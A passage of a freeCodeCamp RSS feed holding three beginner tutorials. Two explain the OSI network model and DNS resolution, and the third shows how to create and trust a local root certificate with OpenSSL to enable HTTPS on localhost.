                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*7pzeTboIfH5UxaFnVnGhnA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Cher Don</p>
<h4 id="heading-get-to-know-the-open-systems-interconnection-model">Get to know the Open Systems Interconnection model</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/AboxQNs-z1kZCMDrUuPqdsHzdyVLBBE5MeFL" alt="Image" width="800" height="418" loading="lazy"></p>
<h3 id="heading-overview">Overview</h3>
<p>Throughout this series, we will be tackling the basics such as:<br><a target="_blank" href="https://medium.freecodecamp.org/an-introduction-to-http-domain-name-system-servers-b3e7060eca98">(Part 1) How does DNS work?</a><br>(Part 2) Network Stack, OSI Model <em>[You are here!]</em><br>(Part 3) HTTP Methods and Formats<br>(Part 4) Client Identification<br>(Part 5) Basic/Digest Authentication<br>(Part 6) HTTPS working with SSL/TLS</p>
<h3 id="heading-osi-model">OSI Model</h3>
<p>The Open Systems Interconnection (OSI) Model is a standardized model for telecommunication in computer systems. It does not regard the underlying technology, but instead the layers involved in communication. Let us explore the different layers within the OSI Model:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Yc4ZTugFjR4A1zuGQqAQbN6Ez77yBttblRUI" alt="Image" width="800" height="450" loading="lazy">
<em>Typical 5-layered OSI Model</em></p>
<h3 id="heading-1-application-layer">1. Application Layer</h3>
<p>This layer allows applications to communicate over the network once the connection has been established, such as from the Web Browser (Application) to the Server. Examples of protocols in this layer include HTTP and TELNET.</p>
<h4 id="heading-hypertext-transfer-protocol-http">HyperText Transfer Protocol (HTTP)</h4>
<p>A set of rules for transferring files over the Internet. For example, when you enter the URL into the browser, the browser sends an HTTP request for the webpage. The host would then return the webpage, together with all the elements that are within, such as images, text, videos, styling fonts, etc.</p>
<h3 id="heading-2-transport-layer">2. Transport Layer</h3>
<p>This layer is responsible for the host-to-host communication of messages. Examples of protocols in this layer include TCP and UDP.</p>
<h4 id="heading-transmission-control-protocol-tcp">Transmission Control Protocol (TCP)</h4>
<p>The most common connection-oriented protocol. It defines how to establish and maintain a network conversation. It is responsible for establishing a connection (called a <em>socket</em>) between the client and the host in a 3-way handshake.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/aZwDUnYpTUmP4-20iIQpxYRqP2PGJRAI52N5" alt="Image" width="568" height="203" loading="lazy"></p>
<p>The user requesting the data will send a SYN data packet to the server, requesting <em>synchronization</em>. The server will then respond with a SYN-ACK to the user, indicating that it has <em>acknowledged</em> the data packet, and would like to connect as well. The connection is hence established when the user sends the last ACK to the server.</p>
<p>TCP is the most common due to its elegance, in which it is able to offer the following:</p>
<p><strong>Connection-oriented communication</strong><br> Establish a handshake protocol between end-points to ensure connection before data is exchanged, and transmit as a data stream (data packets).</p>
<p><strong>Reliability</strong><br>Using checksums, it ensures that the data packets transmitted and received are the same. If there are missing/corrupted packets, it will request for re-transmission of the data packets by sending a NACK message to the sender.</p>
<p><strong>Order</strong><br>The data packets are numbered and transmitted. As such, TCP will ensure that the received packets are re-ordered before delivering the application.</p>
<p><strong>Flow Control</strong><br>The rate of data transmission is regulated to improve efficiency while preventing buffer overruns/underruns, where data is sent faster than the receiver is able to process it, and vice versa.<br>The mechanics behind it are explained below in the <a class="post-section-overview" href="#c804">TCP Slow Start</a> section.</p>
<p><strong>Multiplexing</strong><br>Basically, it is able to send over multiple streams of information concurrently over the same socket. These are done through different ports on the socket. We will discuss the differences between <a class="post-section-overview" href="#8aeb">Multiplexing and Pipelining</a> further along in the article.</p>
<h4 id="heading-user-datagram-protocol-udp">User Datagram Protocol (UDP)</h4>
<p>While similar to TCP, it is a connection-less protocol. It is the complete opposite of TCP, making it unreliable and unordered. Dropped packets will not be re-transmitted, causing gaps in the data.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/-YFU7rjDOESeBDk4iwsJJ3DXbF7kTF4FPKPQ" alt="Image" width="500" height="479" loading="lazy"></p>
<p>However, that makes it best for time-sensitive applications, such as voice calls over the internet (VoIP). This is because it does not require the 3-way handshake before transmitting, making it fast. In addition, dropped data packets are not a problem in VoIP, as the human ear is very good at handling the short gaps that are typical with dropped packets.</p>
<h3 id="heading-3-network-layer">3. Network Layer</h3>
<p>This layer is responsible for providing data routing paths for network connections. Basically, it moves data packets across the network with the most logical path.</p>
<h4 id="heading-internet-protocol-ip">Internet Protocol (IP)</h4>
<p>Defines the structure of the data packets, as well as labeling it with the source and destination information.</p>
<p>The source and destination information are in the form of IP Addresses, in which can be in the form <code>104.16.121.127</code>(IPv4), or <code>2001:db8:0:1234:0:567:8:1</code>(IPv6).</p>
<h3 id="heading-4-link-physical-layer">4. Link/ Physical Layer</h3>
<p>This layer is the root of the OSI model, where information is transmitted either in the Local Area Network (LAN) for the Link Layer, and a physical signal such as electrical, mechanical medium in the form of code words or symbols in the Physical Layer.</p>
<h3 id="heading-visualising-routes">Visualising Routes</h3>
<p>Using <code>tracert google.com</code>, the route can be traced from the client-side (your computer) to the host (google.com).</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/hcYgb-j6sNT4L3em4eSD-K5DzC798H6zwYDn" alt="Image" width="800" height="426" loading="lazy"></p>
<p>From above, you can see the route starting from my device <code>192.168.1.254</code> to the router <code>10.243.128.1</code>, before passing through the Internet Service Provider (ISP) located in Portugal, and so forth.</p>
<h3 id="heading-complementary-layers">Complementary Layers</h3>
<h4 id="heading-tcpip-model">TCP/IP Model</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/75nPgdIHhsTD5xSIbj1bTjRlNryTU3291Ndo" alt="Image" width="731" height="411" loading="lazy">
<em>TCP will request for re-transmission of dropped data packets, and re-order them</em></p>
<p>IP is only responsible for the structure of the data packet. As such, it will not make amends if the data packet is corrupted, or dropped. This is where TCP comes into play, numbering the data packets before sending over to the client. At the client’s side, TCP will request for re-transmission of lost/corrupted packets, and then rearrange the packets of data.</p>
<h4 id="heading-httptcp-model">HTTP/TCP Model</h4>
<p>As we have mentioned earlier, HTTP can now make requests via the connection made by <a class="post-section-overview" href="#259f">TCP Handshake</a>. But how do they complement each other?</p>
<p><strong>HTTP Persistent Connections</strong><br>This would allow multiple HTTP request/response on a single TCP connection, as opposed to opening a new connection upon every request/response.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/-F9J9R9grtdhm7aQ1Y1ptqz1xL8Ft8c4x-0T" alt="Image" width="290" height="142" loading="lazy">
<em>Sample response for Persistent Connection</em></p>
<p>This is done through the HTTP Header, where <code>Connection: Keep-Alive</code>. On default, the connection will only close upon another response where <code>Connection: Close</code> is sent after 30 seconds of idle.</p>
<p><strong>TCP Slow Start</strong><br>As mentioned before, TCP supports <a class="post-section-overview" href="#e64e">flow control</a>. This is done through TCP Slow Start, which is a form of prevention for network congestion.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/rV1aQqU5LxUsUJaX1-jDTn1VVCpKORoM10lb" alt="Image" width="800" height="574" loading="lazy"></p>
<p>The sender has a congestion window (CWND) and the receiver has a receiver window (RWND). If the data is larger than the congestion/receiver window, there would be a buffer under/overrun respectively.</p>
<p>To prevent that, the sender will begin by sending a data packet with a small congestion window (CWND = 1), to slowly probe the receiver for its receiver window.</p>
<p>The receiver will respond with an acknowledge, prompting the sender to double the data packets each time until no acknowledge is received. At this point, the optimum number of data packets has been discovered, allowing other congestion control algorithms to keep the connection at this speed.</p>
<p><strong>Working Together</strong><br>Hence, TCP Slow Start is able to figure out the optimum number of data packets to send before the connection is closed. This will allow the amount of data sent from the host to the client to be optimized without the risk of buffer overrun (data is sent faster than it can be received).</p>
<h3 id="heading-other-http-features">Other HTTP Features</h3>
<h4 id="heading-http-pipelining">HTTP Pipelining</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Lw7lr7o1l1yyIyMDwRugYYE0DR4jjgNoxFuE" alt="Image" width="800" height="556" loading="lazy"></p>
<p>This feature in version HTTP/1.1 allows multiple requests to be sent at once on the same socket, without waiting for a response. However, it has been replaced by TCP Multiplexing in the newer version of HTTP/2.</p>
<p>The key difference is that although both allow for multiple requests all at once on the same socket, Pipelining would still require responses to be sent in order. It means that if the items requested are in the order (A, B, C), the client would not receive item C if item B has not been delivered properly.</p>
<p>In Multiplexing, the order does not matter. This would allow quicker delivery time.</p>
<p>These methods are best used for the idempotent method, which are methods that respond independently of the number of times requested — for example, requesting a web page multiple times will respond to the same web page.</p>
<h4 id="heading-parallel-connections">Parallel Connections</h4>
<p>Ever opened a webpage and seen multiple components of the webpage (video bar, thumbnails, buttons) load simultaneously?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/kSoqraJbI4QgwnlADZzo32d5E2dQb2408ODU" alt="Image" width="800" height="571" loading="lazy">
_Multiple components loading simultaneously | Photo courtesy of [Cloudflare Mobile SDK](https://www.cloudflare.com/products/mobile-sdk/" rel="noopener" target="<em>blank" title=")</em></p>
<p>This is made possible with Parallel Connections, where there is more than one TCP Connection established at the same time, allowing these components to load concurrently instead of one after another.</p>
<p>However, although it might seem to load faster, it might be held back by the client’s limited bandwidth. If all Parallel Connections are competing for the limited bandwidth, each component will load proportionately slower, resulting in zero advantage in total loading speed.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>With the OSI Model, we can easily understand the big picture of networks, and how they interact with each other from hardware to software.</p>
<p>In general, it is a great teaching tool as well as a reference for troubleshooting. The model is also useful for design, as it investigates the functions at every layer, forcing one to ponder over the design layer by layer.</p>
<p>What I have gone through so far is the OSI 5-Layer Model, whereas there is also the <a target="_blank" href="https://www.webopedia.com/quick_ref/OSI_Layers.asp">OSI 7-Layer Model</a> which also deals with Identification, Authentication and Data Encryption.</p>
<p>This is Part 2 of the HTTP Introductions Series. You can read the first article about the importance of DNS Servers in <a target="_blank" href="https://medium.freecodecamp.org/an-introduction-to-http-domain-name-system-servers-b3e7060eca98">Part 1</a>. Let’s explore the structure of HTTP Requests next in Part 3!</p>
<p>Hi! I’m <a target="_blank" href="https://www.freecodecamp.org/news/an-introduction-to-http-understanding-the-open-systems-interconnection-model-9dd06233d30e/undefined">Cher Don</a>, currently pursuing a Major in Data Science. I’m the CTO of <a target="_blank" href="https://www.linkedin.com/company/paralegal-bot/">Paralegal Bot</a>, and you can find my website below. Thanks for reading!</p>
<p><a target="_blank" href="http://www.piqued.co"><strong>Piqued;</strong></a><br><a target="_blank" href="http://www.piqued.co">_Quality Content We offer the best content for difficult to grasp concepts. We've been there, and felt the same you do…_www.piqued.co</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An introduction to HTTP: Domain Name System servers ]]>
                </title>
                <description>
                    <![CDATA[ By Cher Don How does the DNS work, and why is it important? Overview Throughout this series, we will be tackling the basics such as: How does DNS work? [You are here!] Network Stack, OSI Model HTTP Methods and Formats Client Identification Basic/Dig... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/an-introduction-to-http-domain-name-system-servers-b3e7060eca98/</link>
                <guid isPermaLink="false">66c34435160da468ed76f13b</guid>
                
                    <category>
                        <![CDATA[ dns ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 28 Aug 2018 15:59:23 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/0*yC9oY647Pggg817o.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Cher Don</p>
<h4 id="heading-how-does-the-dns-work-and-why-is-it-important">How does the DNS work, and why is it important?</h4>
<h3 id="heading-overview">Overview</h3>
<p>Throughout this series, we will be tackling the basics such as:</p>
<ul>
<li>How does DNS work? <em>[You are here!]</em></li>
<li><a target="_blank" href="https://medium.freecodecamp.org/an-introduction-to-http-understanding-the-open-systems-interconnection-model-9dd06233d30e">Network Stack, OSI Model</a></li>
<li>HTTP Methods and Formats</li>
<li>Client Identification</li>
<li>Basic/Digest Authentication</li>
<li>HTTPS working with SSL/TLS</li>
</ul>
<h3 id="heading-what-is-http">What is HTTP?</h3>
<p>HyperText Transfer Protocol (HTTP) is a protocol devised by Sir Tim Berners Lee in 1989. It forms the basis for how web pages communicate from the web server to the client’s browser.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/oZPkrtifS2pYPY3NqewKvK7HZYvonNKI6gMm" alt="Image" width="800" height="450" loading="lazy">
_Sir Tim Berners Lee, the Father of World Wide Web. Photo courtesy of [CNET](https://www.cnet.com/pictures/images-berners-lee-and-the-dawn-of-the-web/" rel="noopener" target="<em>blank" title=")</em></p>
<h3 id="heading-dns-servers">DNS Servers</h3>
<p>Is the connection to the webpage established immediately after typing in the Domain Name, such as <code>medium.com</code>? <strong>Definitely not!</strong></p>
<p>Machines, unlike us, recognize the location of webpages by <em>IP Addresses</em>. These string of numbers, such as <code>104.16.121.127</code>, are more machine friendly especially since there are <em>millions</em> of domain names on the Web.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/83RTQUPnQ-3eLATrOj9ZMlzGyvkVKeM1arxS" alt="Image" width="800" height="533" loading="lazy"></p>
<p>The Domain Name System (DNS) plays a crucial role in the whole HTTP request process, as it allows us to call a webpage by typing a simple domain name, <code>www.medium.com</code> instead of <code>104.16.121.127</code> every time you want to access the site.</p>
<p>Without DNS, your brain would be filled with numbers just trying to remember the IP Addresses for every <em>single</em> website you use!</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/B1llNAZ2wATRPi2bFeF3yc-xWm2trS2f5ltK" alt="Image" width="800" height="450" loading="lazy">
<em>Flow of DNS Resolution, maintained by a distributed database system</em></p>
<p>Now that we know that an IP Address is requested every time we type in the domain name, let’s find out where this request searches for the correct IP Address.</p>
<h4 id="heading-local-cache">Local Cache</h4>
<p>A cache is a block of memory for temporary storage of data that has a high probability of being used again. The first thing that happens is the DNS Resolver (residing in your computer) will check the browser’s cache, followed by the computer’s DNS cache. If you accessed the website recently, it would have the IP address cached in the system.</p>
<p>In that case, the browser can immediately call the IP Address to retrieve the webpage!</p>
<p>One thing to note here is that every cache has an expiry date, called the <em>“Time to Live” setting.</em> This setting determines how long the cache may be stored when the website is accessed. We will address how that works later on.</p>
<h4 id="heading-dns-recursor">DNS Recursor</h4>
<p>If the IP Address can’t be found in the local cache, it will then request from the DNS Recursor. The DNS Recursor is often the DNS Server of your Internet Service Provider (ISP).</p>
<p>These Internal DNS Servers have caches from websites that their clients have visited recently. Again, if the IP Address can’t be found here, it will be passed on to the next Domain Server.</p>
<h4 id="heading-root-level-domain-server">Root-Level Domain Server</h4>
<p>The Root-Level Domain Server (RLDS), or sometimes called the ‘ . ’ Name Server, is simply a <em>gatekeeper</em> for requests. It reads the request and locates the appropriate domain server to redirect to.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/UQ2ptMrZwvPMUV57NPN6UfGAR39ijFEP9kaN" alt="Image" width="400" height="194" loading="lazy"></p>
<p>As such, it plays an important role in redirection to the next layer of Domain Servers. They are dispersed all around the world to prevent malicious attacks from bringing down the World Wide Web by targeting the RLDS.</p>
<h4 id="heading-top-level-domain-server">Top-Level Domain Server</h4>
<p>The Top-Level Domain Server (TLDS) is the name server for domains that end with their specific domain suffixes such as <code>.com</code>, <code>.org</code> or <code>.io</code>. After being passed down by RLDS, this layer works in the same way as the second gatekeeper. It takes the requests and runs through its DNS Server to redirect the request to the last and final stop, the Second-Level Domain Server.</p>
<p>The number of domain names are increasing exponentially. It is impossible for the RLDS to be able to store or redirect such a sheer amount of IP Addresses. As such, it is redirected to the TLDS to diversify the processing power and memory required.</p>
<h4 id="heading-second-level-domain-server">Second-Level Domain Server</h4>
<p>This layer is where all the information is stored about the domain is accessible. This DNS Server is usually owned by the institute that is responsible for hosting your website.</p>
<p>As such, a request for the record of the domain is sent to this DNS Server. It returns the IP Address, along with other important information such as the server it is on, and the alias it has.</p>
<h4 id="heading-success">Success!</h4>
<p>The browser now receives the IP Address. It uses it to establish a connection with the host server using TCP/IP and retrieve the webpage via HTTP. We will discuss this in <a target="_blank" href="https://medium.freecodecamp.org/an-introduction-to-http-understanding-the-open-systems-interconnection-model-9dd06233d30e">Part 2</a>.</p>
<h3 id="heading-time-to-live-setting">“Time to Live” Setting</h3>
<p><img src="https://cdn-media-1.freecodecamp.org/images/lNvth7uNEKVE805YmoqD9TQnylJGQ6CIm5eX" alt="Image" width="800" height="450" loading="lazy"></p>
<p>DNS Records have a Time to Live (TTL) Setting. This determines the amount of time that any of the domain servers can cache the record.</p>
<p>Caching is important. It reduces the loading time for the page, since the DNS information will have to be reacquired every time the domain name is requested. Hence, a high TTL would allow the DNS records to stay alive for a longer period of time. This allow webpages to load faster.</p>
<p><strong>Why don’t all DNS Records have a high TTL then?</strong></p>
<p>By having a high TTL, it would mean that visitors would not see changes to the DNS immediately. Visitors only see the change after the DNS Record has expired.</p>
<p>For example, if we were to change the host for this webpage, and have a high TTL, the changes would not appear on the visitors browser immediately. This might result in broken links and users not being able to access the webpage.</p>
<h3 id="heading-hostname-ip-address-relationship">Hostname — IP Address Relationship</h3>
<p>So a single domain name is attached to one IP Address?</p>
<p>The answer is yes… and no. It can be, but doesn’t have to be a one-to-one relationship.</p>
<h4 id="heading-single-hostname-multiple-ip-addresses">Single Hostname, Multiple IP Addresses</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/co7rvdbLXLjlFLhZuwVOuNHTa2fcLFoAU7X2" alt="Image" width="553" height="701" loading="lazy"></p>
<p>A single hostname such as <code>www.google.com</code> can correspond to multiple IP Addresses, to balance the load on the server since there is a significant amount of users calling on the same webpage at any one given point in time.</p>
<p>DNS Servers use a “Round Robin” method, such that all IP Addresses are equally utilized.</p>
<h4 id="heading-multiple-hostname-single-ip-address">Multiple Hostname, Single IP Address</h4>
<p>The purpose for this might be for referral links. For example, searching <code>amazon.com/products/pc</code> will show the product screen for PCs. Although <code>amazon.com/products/pc?user=cherdon</code> will also show the same webpage, any purchase would tell Amazon that I was the referrer, allowing me to gain commission from it.</p>
<p>Companies often buy multiple domains that link to the same webpage as well. For example, <code>google.com</code> and <code>google.net</code> would link you to the same search engine webpage.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>The DNS Server is very important as it stores a database for machine-friendly IP Addresses under user-friendly Domain Names. Now that we have learnt how DNS Servers work together in a distributed database, let us explore how the connection with the host server is established with the IP Address in <a target="_blank" href="https://medium.freecodecamp.org/an-introduction-to-http-understanding-the-open-systems-interconnection-model-9dd06233d30e">Part 2</a>!</p>
<p>Hi! I’m <a target="_blank" href="https://www.freecodecamp.org/news/an-introduction-to-http-domain-name-system-servers-b3e7060eca98/undefined">Cher Don</a>, currently pursuing a Major in Data Science. I’m the CTO of <a target="_blank" href="https://www.linkedin.com/company/paralegal-bot/">Paralegal Bot</a>, and you can find my website below. Thanks for reading!</p>
<p><a target="_blank" href="https://www.piqued.co"><strong>Piqued;</strong></a><br><a target="_blank" href="https://www.piqued.co">_Quality Content We offer the best content for difficult to grasp concepts. We've been there, and felt the same you do…_www.piqued.co</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to get HTTPS working on your local development environment in 5 minutes ]]>
                </title>
                <description>
                    <![CDATA[ By Daksh Shah Almost any website you visit today is protected by HTTPS. If yours isn’t yet, it should be. Securing your server with HTTPS also means that you can’t send requests to this server from one that isn’t protected by HTTPS. This poses a pro... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-get-https-working-on-your-local-development-environment-in-5-minutes-7af615770eec/</link>
                <guid isPermaLink="false">66d45e00a326133d124409dd</guid>
                
                    <category>
                        <![CDATA[ development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SSL ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 19 Jan 2018 23:09:37 +0000</pubDate>
                <media:content url="https://cdn-media-2.freecodecamp.org/w1280/5f9cb0e5740569d1a4cab759.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Daksh Shah</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*8XwjYNPlrj0paEvIjn0Dcw.png" alt="Image" width="800" height="224" loading="lazy"></p>
<p>Almost any website you visit today is protected by HTTPS. If yours isn’t yet, <a target="_blank" href="https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https">it should be</a>. Securing your server with HTTPS also means that you can’t send requests to this server from one that isn’t protected by HTTPS. This poses a problem for developers who use a local development environment because all of them run on <code>http://localhost</code> out-of-the-box.</p>
<p>At the startup I’m a part of, we decided to secure our AWS Elastic Load Balancer endpoints with HTTPS as part of a move to enhance security. I ran into a situation where my local development environment’s requests to the server started getting rejected.</p>
<p>A quick Google search later, I found several articles like <a target="_blank" href="https://devcenter.heroku.com/articles/ssl-certificate-self">this</a>, <a target="_blank" href="https://www.kevinleary.net/self-signed-trusted-certificates-node-js-express-js/">this</a> or <a target="_blank" href="https://blog.praveen.science/securing-your-localhost/">this one</a> with detailed instructions on how I could implement HTTPS on <code>localhost</code>. None of these instructions seemed to work even after I followed them religiously. Chrome always threw a <code>NET::ERR_CERT_COMMON_NAME_INVALID</code> error at me.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*cQyGAORXHxsrhs5KRRBOgQ.png" alt="Image" width="800" height="424" loading="lazy"></p>
<h3 id="heading-the-problem">The problem</h3>
<p>All the detailed instructions I had found were correct for the time they were written. Not anymore.</p>
<p>After a ton of Googling, I discovered that the reason for my local certificate getting rejected was that <a target="_blank" href="https://groups.google.com/a/chromium.org/forum/m/#!topic/security-dev/IGT2fLJrAeo">Chrome had deprecated support for commonName matching in certificates</a>, in effect, requiring a subjectAltName since January 2017.</p>
<h3 id="heading-the-solution">The solution</h3>
<p>We’ll be using <a target="_blank" href="https://www.openssl.org/">OpenSSL</a> to generate all of our certificates.</p>
<h4 id="heading-step-1-root-ssl-certificate">Step 1: Root SSL certificate</h4>
<p>The first step is to create a Root Secure Sockets Layer (SSL) certificate. This root certificate can then be used to sign any number of certificates you might generate for individual domains. If you aren’t familiar with the SSL ecosystem, this <a target="_blank" href="https://support.dnsimple.com/articles/what-is-ssl-root-certificate/">article from DNSimple</a> does a good job of introducing Root SSL certificates.</p>
<p>Generate a RSA-2048 key and save it to a file <code>rootCA.key</code>. This file will be used as the key to generate the Root SSL certificate. You will be prompted for a pass phrase which you’ll need to enter each time you use this particular key to generate a certificate.</p>
<pre><code class="lang-bash">openssl genrsa -des3 -out rootCA.key 2048
</code></pre>
<p>You can use the key you generated to create a new Root SSL certificate. Save it to a file named<code>rootCA.pem</code>. This certificate will have a validity of 1,024 days. Feel free to change it to any number of days you want. You’ll also be prompted for other optional information.</p>
<pre><code class="lang-bash">openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.pem
</code></pre>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*76xehIse7mPGF094ojiBBw.png" alt="Image" width="800" height="590" loading="lazy"></p>
<h4 id="heading-step-2-trust-the-root-ssl-certificate">Step 2: Trust the root SSL certificate</h4>
<p>Before you can use the newly created Root SSL certificate to start issuing domain certificates, there’s one more step. You need to to tell your Mac to trust your root certificate so all individual certificates issued by it are also trusted.</p>
<p>Open Keychain Access on your Mac and go to the Certificates category in your System keychain. Once there, import the <code>rootCA.pem</code> using File &gt; Import Items. Double click the imported certificate and change the “When using this certificate:” dropdown <strong>to Always Tr</strong>ust in the Trust section.</p>
<p>Your certificate should look something like this inside Keychain Access if you’ve correctly followed the instructions till now.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*NWwMb0yV9ClHDj87Kug9Ng.png" alt="Image" width="800" height="514" loading="lazy"></p>
<h4 id="heading-step-2-domain-ssl-certificate">Step 2: Domain SSL certificate</h4>
<p>The root SSL certificate can now be used to issue a certificate specifically for your local development environment located at <code>localhost</code>.</p>
<p>Create a new OpenSSL configuration file <code>server.csr.cnf</code> so you can import these settings when creating a certificate instead of entering them on the command line.</p>
<pre><code class="lang-bash">[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn

[dn]
C=US
ST=RandomState
L=RandomCity
O=RandomOrganization
OU=RandomOrganizationUnit
emailAddress=hello@example.com
CN = localhost
</code></pre>
<p>Create a <code>v3.ext</code> file in order to create a <a target="_blank" href="https://en.wikipedia.org/wiki/X.509">X509 v3 certificate</a>. Notice how we’re specifying <code>subjectAltName</code> here.</p>
<pre><code class="lang-bash">authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = localhost
</code></pre>
<p>Create a certificate key for <code>localhost</code> using the configuration settings stored in <code>server.csr.cnf</code>. This key is stored in <code>server.key</code>.</p>
<pre><code class="lang-bash">openssl req -new -sha256 -nodes -out server.csr -newkey rsa:2048 -keyout server.key -config &lt;( cat server.csr.cnf )
</code></pre>
<p>A certificate signing request is issued via the root SSL certificate we created earlier to create a domain certificate for <code>localhost</code>. The output is a certificate file called <code>server.crt</code>.</p>
<pre><code class="lang-bash">openssl x509 -req -<span class="hljs-keyword">in</span> server.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out server.crt -days 500 -sha256 -extfile v3.ext
</code></pre>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*kulsSyc0-ylsevP5eIlktA.png" alt="Image" width="800" height="467" loading="lazy"></p>
<h4 id="heading-use-your-new-ssl-certificate">Use your new SSL certificate</h4>
<p>You’re now ready to secure your <code>localhost</code> with HTTPS. Move the <code>server.key</code> and <code>server.crt</code> files to an accessible location on your server and include them when starting your server.</p>
<p>In an Express app written in Node.js, here’s how you would do it. Make sure you do this only for your local environment. <strong>Do not use this in production</strong>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*89r7TnYG49V3zMoUnfOP7Q.png" alt="Image" width="738" height="154" loading="lazy"></p>
<p>I hope you found this tutorial useful. If you’re not comfortable with running the commands given here by yourself, I’ve created a set of handy scripts you can run quickly to generate the certificates for you. More details can be found on the <a target="_blank" href="https://github.com/dakshshah96/local-cert-generator/">GitHub repo</a>.</p>
<p><em>I love helping fellow web developers. Follow me on <a target="_blank" href="https://twitter.com/dakshshah96">Twitter</a> and let me know if you have any suggestions or feedback. If you’d like to show your appreciation towards any of the work I’ve done, be it a blog post, an open source project or just a funny tweet, you can <a target="_blank" href="https://www.buymeacoffee.com/dakshshah96">buy me a cup of coffee</a>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
